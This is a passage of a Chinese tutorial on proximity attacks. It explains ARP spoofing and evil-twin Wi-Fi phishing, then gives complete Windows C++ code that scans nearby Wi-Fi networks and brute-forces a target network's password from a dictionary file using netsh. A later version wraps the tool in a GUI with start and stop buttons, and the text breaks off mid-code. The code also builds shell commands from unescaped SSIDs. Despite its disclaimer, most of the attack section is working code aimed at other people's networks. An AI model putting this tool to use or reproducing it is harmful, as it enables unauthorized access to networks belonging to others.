万字谈近源
WIFI爆破,断网攻击,伪造WIFI,获取信息,万字讲解一套近源攻击策略
本代码仅供学习、研究、教育或合法用途。开发者明确声明其无意将该代码用于任何违法、犯罪或违反道德规范的行为。任何个人或组织在使用本代码时,需自行确保其行为符合所在国家或地区的法律法规。
开发者对任何因直接或间接使用该代码而导致的法律责任、经济损失或其他后果概不负责。使用者需自行承担因使用本代码产生的全部风险和责任。请勿将本代码用于任何违反法律、侵犯他人权益或破坏公共秩序的活动。
本文写了近源WIFI破解,钓鱼有关的内容
背景介绍
1. ARP攻击(Address Resolution Protocol Spoofing)
ARP(地址解析协议)是一种在局域网中用于将IP地址映射到MAC地址的协议。在网络中,设备通过广播ARP请求来获取目标IP地址对应的MAC地址,以便正确地发送数据包。
ARP攻击的原理:
ARP攻击(又称ARP欺骗)是通过伪造ARP包,将恶意设备的MAC地址绑定到目标IP地址上,导致目标设备将数据包错误地发送给攻击者,而不是发送到实际的目标设备。
ARP攻击的过程:
- 攻击者向网络中发送伪造的ARP响应包,声称自己是某个设备(如网关或其他主机)的MAC地址的所有者。
- 受害者的设备接收到这个伪造的ARP响应后,会将攻击者的MAC地址与目标设备的IP地址绑定。
- 这样一来,受害者的设备会将原本要发送给目标设备的数据包误发送给攻击者。
- 攻击者可以选择将数据包转发给正确的目标设备(作为中间人攻击),或者直接拦截、篡改、窃取数据。
2. 近源钓鱼(Proximity Phishing)
近源钓鱼 是一种通过伪装成合法目标的方式,诱使用户透露敏感信息的攻击。与传统的网络钓鱼攻击(如通过电子邮件进行)不同,近源钓鱼更侧重于物理接近性,通常发生在物理网络环境中。
近源钓鱼的原理:
近源钓鱼攻击通过模拟合法的网络服务或设备,诱使用户在与攻击者设备相近的环境中提交敏感信息。攻击者通常使用Wi-Fi、蓝牙等无线技术,伪造合法的网络服务或设备,欺骗用户连接到攻击者的伪造设备或网络,进而窃取用户的认证信息或其他敏感数据。
近源钓鱼的常见方式:
- 伪造Wi-Fi热点(Evil Twin Attack): 攻击者设置一个与真实公共Wi-Fi网络同名的伪造Wi-Fi热点,用户连接到这个恶意热点后,攻击者可以监控用户的网络活动,窃取用户提交的敏感信息。
- 蓝牙钓鱼: 攻击者通过伪造蓝牙设备或服务吸引目标设备连接,然后通过篡改数据或直接窃取设备信息进行攻击。
- USB钓鱼: 攻击者通过在公共场所放置恶意USB设备,诱使目标设备用户连接。这些USB设备通常包含恶意软件,一旦插入设备,攻击者便能够获得目标设备的敏感信息。
环境准备
你可能用到
Npcap 环境配置比较麻烦,注意VS里选择路径的时候选择x64的Lib
T1·获取附近WIFI以便下一步
code:
#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <wtypes.h>
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iomanip>
#pragma comment(lib, "Wlanapi.lib")
#pragma comment(lib, "Ole32.lib")
void PrintWiFiNetworks() {
HANDLE clientHandle = NULL;
DWORD version = 2;
DWORD negotiatedVersion = 0;
PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
PWLAN_AVAILABLE_NETWORK_LIST networkList = NULL;
// 初始化COM库
CoInitialize(NULL);
// 初始化WLAN客户端
DWORD result = WlanOpenHandle(version, NULL, &negotiatedVersion, &clientHandle);
if (result != ERROR_SUCCESS) {
std::cerr << "无法打开WLAN句柄。错误代码: " << result << std::endl;
CoUninitialize();
return;
}
// 获取WLAN接口列表
result = WlanEnumInterfaces(clientHandle, NULL, &interfaceList);
if (result != ERROR_SUCCESS) {
std::cerr << "无法枚举WLAN接口。错误代码: " << result << std::endl;
WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
return;
}
// 遍历每个接口
for (DWORD i = 0; i < interfaceList->dwNumberOfItems; i++) {
PWLAN_INTERFACE_INFO interfaceInfo = &interfaceList->InterfaceInfo[i];
// 获取可用网络列表
result = WlanGetAvailableNetworkList(clientHandle, &interfaceInfo->InterfaceGuid, 0, NULL, &networkList);
if (result != ERROR_SUCCESS) {
std::cerr << "无法获取可用网络列表。错误代码: " << result << std::endl;
continue;
}
// 打印可用网络列表
for (DWORD j = 0; j < networkList->dwNumberOfItems; j++) {
PWLAN_AVAILABLE_NETWORK network = &networkList->Network[j];
// 打印SSID
std::cout << "SSID: ";
for (DWORD k = 0; k < network->dot11Ssid.uSSIDLength; k++) {
std::cout << network->dot11Ssid.ucSSID[k];
}
std::cout << std::endl;
// 打印安全协议
std::cout << "安全协议: ";
switch (network->dot11DefaultAuthAlgorithm) {
case DOT11_AUTH_ALGO_RSNA_PSK:
std::cout << "WPA2-PSK";
break;
case DOT11_AUTH_ALGO_WPA_PSK:
std::cout << "WPA-PSK";
break;
case DOT11_AUTH_ALGO_80211_OPEN:
std::cout << "开放";
break;
default:
std::cout << "未知";
break;
}
std::cout << std::endl;
// 打印无线电类型
std::cout << "无线电类型: ";
if (network->dot11BssType == dot11_BSS_type_infrastructure) {
std::cout << "基础设施";
}
else if (network->dot11BssType == dot11_BSS_type_independent) {
std::cout << "Ad hoc";
}
else {
std::cout << "未知";
}
std::cout << std::endl;
// 打印信号强度
std::cout << "信号强度: " << network->wlanSignalQuality << "%" << std::endl;
// 打印频段
std::cout << "频段: ";
if (network->dot11PhyTypes[0] == dot11_phy_type_fhss ||
network->dot11PhyTypes[0] == dot11_phy_type_dsss ||
network->dot11PhyTypes[0] == dot11_phy_type_erp) {
std::cout << "2.4GHz";
}
else if (network->dot11PhyTypes[0] == dot11_phy_type_ofdm) {
std::cout << "2.4GHz";
}
else if (network->dot11PhyTypes[0] == dot11_phy_type_ht) {
std::cout << "2.4GHz 或 5GHz";
}
else if (network->dot11PhyTypes[0] == dot11_phy_type_vht) {
std::cout << "5GHz";
}
else if (network->dot11PhyTypes[0] == dot11_phy_type_he) {
std::cout << "2.4GHz 或 5GHz";
}
else {
std::cout << "未知";
}
std::cout << std::endl;
std::cout << "---------------------------------" << std::endl;
}
// 释放可用网络列表
WlanFreeMemory(networkList);
}
// 释放接口列表
WlanFreeMemory(interfaceList);
// 关闭WLAN客户端
WlanCloseHandle(clientHandle, NULL);
// 反初始化COM库
CoUninitialize();
}
int main() {
PrintWiFiNetworks();
return 0;
}
分解解释
1. 包含的头文件
#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <wtypes.h>
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iomanip>windows.h:Windows平台下的基本头文件,提供Windows API函数和常量。wlanapi.h:提供访问和操作无线网络的API,包括获取可用网络列表、设置连接等。objbase.h和wtypes.h:包含Windows COM(Component Object Model)库的相关定义和函数。WlanOpenHandle之类的函数需要通过 COM 库进行初始化和管理。iostream:用于输入输出流操作,打印信息到控制台。vector,string,sstream,iomanip:标准库用于处理字符串、数据流、格式化输出等的头文件。
2. 函数 **PrintWiFiNetworks** 的详细解释
该函数的作用是获取并打印当前计算机附近的可用Wi-Fi网络信息。
2.1 初始化COM库
CoInitialize(NULL);- COM(组件对象模型)库初始化,许多Windows API(例如WLAN API)依赖COM来管理资源和接口。
2.2 打开WLAN客户端句柄
DWORD result = WlanOpenHandle(version, NULL, &negotiatedVersion, &clientHandle);WlanOpenHandle打开一个WLAN客户端句柄,提供与WLAN设备交互的接口。version设置API版本,clientHandle存储句柄。
2.3 枚举所有WLAN接口
result = WlanEnumInterfaces(clientHandle, NULL, &interfaceList);WlanEnumInterfaces获取计算机上的所有WLAN接口列表(例如,如果有多个无线适配器,这个函数会返回所有适配器的信息)。
2.4 遍历每个WLAN接口并获取可用网络列表
result = WlanGetAvailableNetworkList(clientHandle, &interfaceInfo->InterfaceGuid, 0, NULL, &networkList);- 对每个接口,调用
WlanGetAvailableNetworkList来获取该接口下可用的网络列表。networkList存储所有可用网络的信息。
2.5 打印每个网络的信息
对于每个网络,程序会打印以下信息:
- SSID(服务集标识符):网络的名称,通常是Wi-Fi网络的名字。
- 安全协议:例如 WPA2-PSK(Wi-Fi保护接入2),WPA-PSK,或开放网络等。
- 无线电类型:该网络是“基础设施”(Infrastructure)类型还是“Ad hoc”(点对点网络)类型。
- 信号强度:网络的信号强度,以百分比形式显示。
- 频段:根据网络的物理类型(PHY类型)判断网络的频段是2.4GHz、5GHz,或者两者兼具。
每个网络的信息被打印后,会输出一条分隔线 ---------------------------------。
3. 释放资源并清理
WlanFreeMemory用于释放通过WLAN API获取的内存。WlanCloseHandle用于关闭WLAN句柄。CoUninitialize用于反初始化COM库,释放COM资源。
4. 函数主程序
int main() {
PrintWiFiNetworks();
return 0;
}主程序中调用 PrintWiFiNetworks 函数,执行获取并打印Wi-Fi网络信息的操作。
5. 打印的网络信息
对于每个可用的网络,程序会输出以下信息:
- SSID:网络的名字,例如"HomeNetwork"。
- 安全协议:显示该网络使用的加密协议,例如“WPA2-PSK”或“开放”。
- 无线电类型:该网络是“基础设施”网络(有路由器/接入点)还是“Ad hoc”网络(直接设备间通信)。
- 信号强度:以百分比形式显示,表示信号的质量,100%表示信号最强。
- 频段:根据PHY类型判断是2.4GHz、5GHz,或是两者兼容。
6.输出样例

T2·爆破密码
为了简洁,鄙人将这个代码写了GUI页面,改后如下:注意切换窗口不要用控制台哦
#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <string>
#include <vector>
#include <sstream>
#include <iostream>
#pragma comment(lib, "Wlanapi.lib")
#pragma comment(lib, "Ole32.lib")
struct WiFiInfo {
std::wstring ssid; // 使用宽字符
std::wstring authAlgo;
std::wstring bssType;
int signalQuality;
std::wstring band;
};
// 全局变量
std::vector<WiFiInfo> wifiList;
// 获取WiFi网络信息
void FetchWiFiNetworks() {
HANDLE clientHandle = NULL;
DWORD version = 2;
DWORD negotiatedVersion = 0;
PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
PWLAN_AVAILABLE_NETWORK_LIST networkList = NULL;
CoInitialize(NULL);
DWORD result = WlanOpenHandle(version, NULL, &negotiatedVersion, &clientHandle);
if (result != ERROR_SUCCESS) {
MessageBox(NULL, L"无法打开WLAN句柄。", L"错误", MB_OK | MB_ICONERROR);
CoUninitialize();
return;
}
result = WlanEnumInterfaces(clientHandle, NULL, &interfaceList);
if (result != ERROR_SUCCESS) {
MessageBox(NULL, L"无法枚举WLAN接口。", L"错误", MB_OK | MB_ICONERROR);
WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
return;
}
for (DWORD i = 0; i < interfaceList->dwNumberOfItems; i++) {
PWLAN_INTERFACE_INFO interfaceInfo = &interfaceList->InterfaceInfo[i];
result = WlanGetAvailableNetworkList(clientHandle, &interfaceInfo->InterfaceGuid, 0, NULL, &networkList);
if (result != ERROR_SUCCESS) {
continue;
}
for (DWORD j = 0; j < networkList->dwNumberOfItems; j++) {
PWLAN_AVAILABLE_NETWORK network = &networkList->Network[j];
WiFiInfo info;
// SSID
info.ssid = std::wstring(network->dot11Ssid.ucSSID, network->dot11Ssid.ucSSID + network->dot11Ssid.uSSIDLength);
// Auth Algorithm
switch (network->dot11DefaultAuthAlgorithm) {
case DOT11_AUTH_ALGO_RSNA_PSK:
info.authAlgo = L"WPA2-PSK";
break;
case DOT11_AUTH_ALGO_WPA_PSK:
info.authAlgo = L"WPA-PSK";
break;
case DOT11_AUTH_ALGO_80211_OPEN:
info.authAlgo = L"开放";
break;
default:
info.authAlgo = L"未知";
break;
}
// BSS Type
info.bssType = network->dot11BssType == dot11_BSS_type_infrastructure ? L"基础设施" : L"Ad hoc";
// Signal Quality
info.signalQuality = network->wlanSignalQuality;
// Band
if (network->dot11PhyTypes[0] == dot11_phy_type_vht) {
info.band = L"5GHz";
}
else {
info.band = L"2.4GHz";
}
wifiList.push_back(info);
}
WlanFreeMemory(networkList);
}
WlanFreeMemory(interfaceList);
WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
}
// 按钮点击事件处理
void ShowWiFiDetails(int index) {
if (index >= 0 && index < wifiList.size()) {
WiFiInfo& info = wifiList[index];
std::wstringstream details;
details << L"SSID: " << info.ssid << L"\n"
<< L"安全协议: " << info.authAlgo << L"\n"
<< L"无线电类型: " << info.bssType << L"\n"
<< L"信号强度: " << info.signalQuality << L"%\n"
<< L"频段: " << info.band;
MessageBox(NULL, details.str().c_str(), L"WiFi 信息", MB_OK | MB_ICONINFORMATION);
}
}
// 窗口过程
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_CREATE: {
for (size_t i = 0; i < wifiList.size(); i++) {
CreateWindow(
L"BUTTON", wifiList[i].ssid.c_str(),
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
10, 30 + static_cast<int>(i) * 40, 300, 30,
hwnd, (HMENU)(1000 + static_cast<int>(i)), (HINSTANCE)GetWindowLongPtr(hwnd, GWLP_HINSTANCE), NULL);
}
} break;
case WM_COMMAND: {
int buttonId = LOWORD(wParam);
if (buttonId >= 1000 && buttonId < 1000 + wifiList.size()) {
ShowWiFiDetails(buttonId - 1000);
}
} break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
// 主函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
FetchWiFiNetworks();
const wchar_t CLASS_NAME[] = L"WiFi Window Class";
WNDCLASS wc = {};
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = CLASS_NAME;
RegisterClass(&wc);
HWND hwnd = CreateWindowEx(
0, CLASS_NAME, L"WiFi 网络",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 600,
NULL, NULL, hInstance, NULL);
if (hwnd == NULL) {
return 0;
}
ShowWindow(hwnd, nCmdShow);
MSG msg = {};
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}现在难题出现了,那我如何进行密码爆破连接对方WIFI呢?又不在WIFI下不能用hashcat等工具进行密码爆破,那么只好采用这种方法了,code如下
完整代码
#include <iostream>
#include <fstream>
#include <string>
#include <cstdlib>
#include <thread>
#include <chrono>
// 函数:生成临时 XML 配置文件
void CreateWiFiConfig(const std::string& ssid, const std::string& password, const std::string& filename) {
std::ofstream file(filename);
if (!file) {
std::cerr << "无法创建配置文件:" << filename << std::endl;
return;
}
file << "<?xml version=\"1.0\"?>\n"
<< "<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n"
<< " <name>" << ssid << "</name>\n"
<< " <SSIDConfig>\n"
<< " <SSID>\n"
<< " <name>" << ssid << "</name>\n"
<< " </SSID>\n"
<< " </SSIDConfig>\n"
<< " <connectionType>ESS</connectionType>\n"
<< " <connectionMode>manual</connectionMode>\n"
<< " <MSM>\n"
<< " <security>\n"
<< " <authEncryption>\n"
<< " <authentication>WPA2PSK</authentication>\n"
<< " <encryption>AES</encryption>\n"
<< " <useOneX>false</useOneX>\n"
<< " </authEncryption>\n"
<< " <sharedKey>\n"
<< " <keyType>passPhrase</keyType>\n"
<< " <protected>false</protected>\n"
<< " <keyMaterial>" << password << "</keyMaterial>\n"
<< " </sharedKey>\n"
<< " </security>\n"
<< " </MSM>\n"
<< "</WLANProfile>\n";
file.close();
}
// 函数:检查能否 Ping 通百度
bool CanPingBaidu() {
std::string pingCmd = "ping www.baidu.com -n 1 > nul 2>&1";
return system(pingCmd.c_str()) == 0;
}
// 函数:使用 Netsh 尝试连接 WiFi
bool TryConnectToWiFi(const std::string& ssid, const std::string& password) {
const std::string configFile = "wifi_profile.xml";
// 清除旧的 WiFi 配置
std::string deleteProfileCmd = "netsh wlan delete profile name=\"" + ssid + "\"";
system(deleteProfileCmd.c_str());
// 生成 WiFi 配置文件
CreateWiFiConfig(ssid, password, configFile);
// 添加 WiFi 配置
std::string addProfileCmd = "netsh wlan add profile filename=\"" + configFile + "\"";
if (system(addProfileCmd.c_str()) != 0) {
return false; // 配置失败
}
// 连接到 WiFi
std::string connectCmd = "netsh wlan connect name=\"" + ssid + "\"";
if (system(connectCmd.c_str()) == 0) {
std::this_thread::sleep_for(std::chrono::seconds(2)); // 增加 2 秒延迟
// 检测是否可以 Ping 通百度
if (CanPingBaidu()) {
return true; // 连接成功
}
}
return false; // 连接失败
}
// 函数:从字典中尝试密码
std::string BruteForceWiFi(const std::string& ssid, const std::string& dictionaryFile) {
std::ifstream dictionary(dictionaryFile);
if (!dictionary) {
std::cerr << "无法打开密码字典文件:" << dictionaryFile << std::endl;
return "";
}
std::string password;
while (std::getline(dictionary, password)) {
if (password.empty()) continue;
std::cout << "尝试密码:" << password << std::endl;
// 尝试连接
if (TryConnectToWiFi(ssid, password)) {
dictionary.close();
return password; // 返回正确密码
}
}
dictionary.close();
return ""; // 未找到正确密码
}
// 主函数
int main() {
std::string ssid = "A"; // WiFi 名称
std::string dictionaryFile = "passwords.txt"; // 密码字典文件
std::cout << "开始尝试连接到 WiFi:" << ssid << std::endl;
// 从字典中尝试密码
std::string correctPassword = BruteForceWiFi(ssid, dictionaryFile);
if (!correctPassword.empty()) {
std::cout << "WiFi 连接成功!密码为:" << correctPassword << std::endl;
} else {
std::cerr << "WiFi 连接失败!未找到正确密码。" << std::endl;
}
std::cout << "按 Enter 键退出程序..." << std::endl;
std::cin.get();
return 0;
}代码详细功能解析
1. 生成临时 XML 配置文件
函数:CreateWiFiConfig
- 输入参数:
ssid:目标 WiFi 的名称。password:当前尝试的密码。filename:生成的临时 XML 文件名。
- 功能:
- 动态生成 XML 配置文件,其中包含 SSID 和密码的配置信息。
- XML 文件是使用
netsh wlan add profile添加 WiFi 配置时的必要文件。
- 输出:
- 生成 XML 文件(如
wifi_profile.xml),内容如下:
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>A</name>
<SSIDConfig>
<SSID>
<name>A</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>manual</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>12345678</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>2. 检查能否 Ping 通百度
函数:CanPingBaidu
- 功能:
- 执行命令
ping www.baidu.com -n 1:
-n 1表示发送 1 个 Ping 数据包。> nul 2>&1隐藏输出,结果仅以返回值决定。
- 如果返回值为 0,则表示网络连接成功。
- 返回值:
true:可以 Ping 通百度(网络连通)。false:无法 Ping 通百度(网络不通)。
3. 使用 Netsh 尝试连接 WiFi
函数:TryConnectToWiFi
- 输入参数:
ssid:目标 WiFi 的名称。password:当前尝试的密码。
- 功能:
- 清除旧的 WiFi 配置:
- 通过命令
netsh wlan delete profile name="SSID"删除已有的 WiFi 配置,避免因缓存问题导致错误连接。
- 生成新的 WiFi 配置文件:
- 调用
CreateWiFiConfig创建包含当前密码的 XML 配置文件。
- 添加 WiFi 配置:
- 执行命令
netsh wlan add profile filename="wifi_profile.xml",将配置文件加载到系统中。
- 连接到 WiFi:
- 执行命令
netsh wlan connect name="SSID"尝试连接 WiFi。
- 检查网络连通性:
- 增加 2 秒延迟,确保连接状态稳定。
- 调用
CanPingBaidu检查是否可以连接到互联网。
- 返回值:
true:WiFi 连接成功。false:WiFi 连接失败。
4. 从字典中尝试密码
函数:BruteForceWiFi
- 输入参数:
ssid:目标 WiFi 的名称。dictionaryFile:包含可能密码的文件路径。
- 功能:
- 打开密码字典文件(如
passwords.txt),逐行读取密码。 - 对每个密码:
- 调用
TryConnectToWiFi尝试连接。 - 如果连接成功,返回当前密码。
- 如果所有密码均失败,返回空字符串。
- 返回值:
- 成功:返回正确的密码。
- 失败:返回空字符串。
5. 主函数
函数:main
- 功能:
- 初始化 WiFi 名称和密码字典文件路径。
- 调用
BruteForceWiFi,从字典中逐一尝试密码。 - 根据返回结果输出连接结果:
- 成功:输出正确密码。
- 失败:提示未找到正确密码。
- 交互:
- 输出尝试的密码。
- 提示连接结果。
运行步骤
- 准备密码字典文件:
- 创建
passwords.txt,文件内容如下(每行一个密码):
password1
password2
12345678- 以管理员权限运行程序:
- 操作 WiFi 配置需要管理员权限。
- 运行程序并观察输出:
- 正确密码为
12345678时,输出如下:
开始尝试连接到 WiFi:A
尝试密码:password1
尝试密码:password2
尝试密码:12345678
WiFi 连接成功!密码为:12345678
按 Enter 键退出程序...- 处理错误:
- 如果所有密码均失败,输出:
WiFi 连接失败!未找到正确密码。
按 Enter 键退出程序...注意事项
- 管理员权限:
- 无法以普通用户身份操作 WiFi 配置。
- 目标 WiFi 的 SSID:
- 确保 SSID 输入正确,区分大小写。
- 网络延迟:
- 增加 2 秒延迟,确保连接状态稳定后再检测。
- 环境支持:
- 仅适用于 Windows 系统。
拼接到主程序中(我直接附code了,解释和上面重复的我不水字数了)
#include <windows.h>
#include <wlanapi.h>
#include <CommCtrl.h>
#include <objbase.h>
#include <string>
#include <vector>
#include <sstream>
#include <thread>
#include <fstream>
#include <atomic>
#include <locale>
#include <codecvt>
#include <chrono>
#include <iostream>
#pragma comment(lib, "Wlanapi.lib")
#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "Comctl32.lib")
struct WiFiInfo {
std::wstring ssid; // WiFi名称
std::wstring authAlgo; // 认证算法
std::wstring bssType; // BSS类型
int signalQuality; // 信号质量
std::wstring band; // 频段
};
std::vector<WiFiInfo> wifiList; // WiFi列表
std::atomic<bool> stopBruteForce = false; // 停止爆破的标志
// 获取WiFi网络信息
void FetchWiFiNetworks() {
HANDLE clientHandle = NULL;
DWORD version = 2;
DWORD negotiatedVersion = 0;
PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
PWLAN_AVAILABLE_NETWORK_LIST networkList = NULL;
CoInitialize(NULL);
DWORD result = WlanOpenHandle(version, NULL, &negotiatedVersion, &clientHandle);
if (result != ERROR_SUCCESS) {
MessageBox(NULL, L"无法打开WLAN句柄。", L"错误", MB_OK | MB_ICONERROR);
CoUninitialize();
return;
}
result = WlanEnumInterfaces(clientHandle, NULL, &interfaceList);
if (result != ERROR_SUCCESS) {
MessageBox(NULL, L"无法枚举WLAN接口。", L"错误", MB_OK | MB_ICONERROR);
WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
return;
}
for (DWORD i = 0; i < interfaceList->dwNumberOfItems; i++) {
PWLAN_INTERFACE_INFO interfaceInfo = &interfaceList->InterfaceInfo[i];
result = WlanGetAvailableNetworkList(clientHandle, &interfaceInfo->InterfaceGuid, 0, NULL, &networkList);
if (result != ERROR_SUCCESS) {
continue;
}
for (DWORD j = 0; j < networkList->dwNumberOfItems; j++) {
PWLAN_AVAILABLE_NETWORK network = &networkList->Network[j];
WiFiInfo info;
// SSID
info.ssid = std::wstring(network->dot11Ssid.ucSSID, network->dot11Ssid.ucSSID + network->dot11Ssid.uSSIDLength);
// Auth Algorithm
switch (network->dot11DefaultAuthAlgorithm) {
case DOT11_AUTH_ALGO_RSNA_PSK:
info.authAlgo = L"WPA2-PSK";
break;
case DOT11_AUTH_ALGO_WPA_PSK:
info.authAlgo = L"WPA-PSK";
break;
case DOT11_AUTH_ALGO_80211_OPEN:
info.authAlgo = L"开放";
break;
default:
info.authAlgo = L"未知";
break;
}
// BSS Type
info.bssType = network->dot11BssType == dot11_BSS_type_infrastructure ? L"基础设施" : L"Ad hoc";
// Signal Quality
info.signalQuality = network->wlanSignalQuality;
// Band
if (network->dot11PhyTypes[0] == dot11_phy_type_vht) {
info.band = L"5GHz";
}
else {
info.band = L"2.4GHz";
}
wifiList.push_back(info);
}
WlanFreeMemory(networkList);
}
WlanFreeMemory(interfaceList);
WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
}
// 检查能否 Ping 通百度
bool CanPingBaidu() {
std::string pingCmd = "ping www.baidu.com -n 1 > nul 2>&1";
return system(pingCmd.c_str()) == 0;
}
// 函数:使用 Netsh 尝试连接 WiFi
bool TryConnectToWiFi(const std::wstring& ssid, const std::wstring& password) {
const std::string configFile = "wifi_profile.xml";
// 清除旧的 WiFi 配置
std::string deleteProfileCmd = "netsh wlan delete profile name=\"" + std::string(ssid.begin(), ssid.end()) + "\"";
system(deleteProfileCmd.c_str());
// 创建 WiFi 配置文件
std::ofstream file(configFile);
if (!file) return false;
file << "<?xml version=\"1.0\"?>\n"
<< "<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n"
<< " <name>" << std::string(ssid.begin(), ssid.end()) << "</name>\n"
<< " <SSIDConfig>\n"
<< " <SSID>\n"
<< " <name>" << std::string(ssid.begin(), ssid.end()) << "</name>\n"
<< " </SSID>\n"
<< " </SSIDConfig>\n"
<< " <connectionType>ESS</connectionType>\n"
<< " <connectionMode>manual</connectionMode>\n"
<< " <MSM>\n"
<< " <security>\n"
<< " <authEncryption>\n"
<< " <authentication>WPA2PSK</authentication>\n"
<< " <encryption>AES</encryption>\n"
<< " <useOneX>false</useOneX>\n"
<< " </authEncryption>\n"
<< " <sharedKey>\n"
<< " <keyType>passPhrase</keyType>\n"
<< " <protected>false</protected>\n"
<< " <keyMaterial>" << std::string(password.begin(), password.end()) << "</keyMaterial>\n"
<< " </sharedKey>\n"
<< " </security>\n"
<< " </MSM>\n"
<< "</WLANProfile>\n";
file.close();
// 添加 WiFi 配置
std::string addProfileCmd = "netsh wlan add profile filename=\"" + configFile + "\"";
if (system(addProfileCmd.c_str()) != 0) {
return false;
}
// 尝试连接
std::string connectCmd = "netsh wlan connect name=\"" + std::string(ssid.begin(), ssid.end()) + "\"";
if (system(connectCmd.c_str()) == 0) {
std::this_thread::sleep_for(std::chrono::seconds(2));
return CanPingBaidu();
}
return false;
}
// 函数:从字典中尝试密码
std::wstring BruteForceWiFi(HWND hwnd, const std::wstring& ssid, const std::wstring& dictionaryFile) {
std::wifstream dictionary(dictionaryFile);
if (!dictionary) {
MessageBox(hwnd, L"无法打开密码字典文件!", L"错误", MB_OK | MB_ICONERROR);
return L"";
}
// 统计字典中的总密码数
size_t totalAttempts = 0;
std::wstring password;
while (std::getline(dictionary, password)) {
if (!password.empty()) totalAttempts++;
}
dictionary.clear();
dictionary.seekg(0, std::ios::beg);
// 初始化进度条
HWND progressBar = GetDlgItem(hwnd, 2000);
SendMessage(progressBar, PBM_SETRANGE, 0, MAKELPARAM(0, totalAttempts));
size_t currentAttempt = 0;
while (std::getline(dictionary, password) && !stopBruteForce) {
if (password.empty()) continue;
// 尝试连接
if (TryConnectToWiFi(ssid, password)) {
dictionary.close();
return password; // 返回正确密码
}
// 更新进度条
currentAttempt++;
SendMessage(progressBar, PBM_SETPOS, currentAttempt, 0);
}
dictionary.close();
return L""; // 未找到正确密码
}
// WiFi详情窗口过程
LRESULT CALLBACK DetailWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
static WiFiInfo* wifi = nullptr;
switch (uMsg) {
case WM_CREATE: {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
wifi = (WiFiInfo*)cs->lpCreateParams;
std::wstringstream details;
details << L"SSID: " << wifi->ssid << L"\n"
<< L"认证算法: " << wifi->authAlgo << L"\n"
<< L"BSS类型: " << wifi->bssType << L"\n"
<< L"信号强度: " << wifi->signalQuality << L"%\n"
<< L"频段: " << wifi->band;
CreateWindow(L"STATIC", details.str().c_str(),
WS_VISIBLE | WS_CHILD, 10, 10, 350, 100,
hwnd, NULL, NULL, NULL);
CreateWindow(PROGRESS_CLASS, NULL,
WS_VISIBLE | WS_CHILD, 10, 120, 350, 20,
hwnd, (HMENU)2000, NULL, NULL);
CreateWindow(L"BUTTON", L"开始爆破",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 10, 150, 100, 30,
hwnd, (HMENU)3000, NULL, NULL);
CreateWindow(L"BUTTON", L"停止爆破",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 120, 150, 100, 30,
hwnd, (HMENU)3001, NULL, NULL);
} break;
case WM_COMMAND: {
switch (LOWORD(wParam)) {
case 3000: // 开始爆破
std::thread([](HWND hwnd, WiFiInfo wifi) {
auto password = BruteForceWiFi(hwnd, wifi.ssid, L"passwords.txt");
if (!password.empty()) {
MessageBox(hwnd, (L"密码爆破成功,密码为:" + password).c_str(), L"成功", MB_OK | MB_ICONINFORMATION);
}
else {
MessageBox(hwnd, L"密码爆破失败!未找到正确密码。", L"失败", MB_OK | MB_ICONERROR);
}
}, hwnd, *wifi).detach();
break;
case 3001: // 停止爆破
stopBruteForce = true;
break;
}
} break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
// 显示WiFi详情窗口
void ShowWiFiDetailWindow(HINSTANCE hInstance, WiFiInfo& wifi) {
const wchar_t DETAIL_CLASS[] = L"WiFiDetailWindow";
WNDCLASS wc = {};
wc.lpfnWndProc = DetailWindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = DETAIL_CLASS;
RegisterClass(&wc);
HWND hwnd = CreateWindow(DETAIL_CLASS, L"WiFi 详情",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 250,
NULL, NULL, hInstance, &wifi);
ShowWindow(hwnd, SW_SHOW);
}
// 主窗口过程
LRESULT CALLBACK MainWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_CREATE: {
for (size_t i = 0; i < wifiList.size(); i++) {
CreateWindow(L"BUTTON", wifiList[i].ssid.c_str(),
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
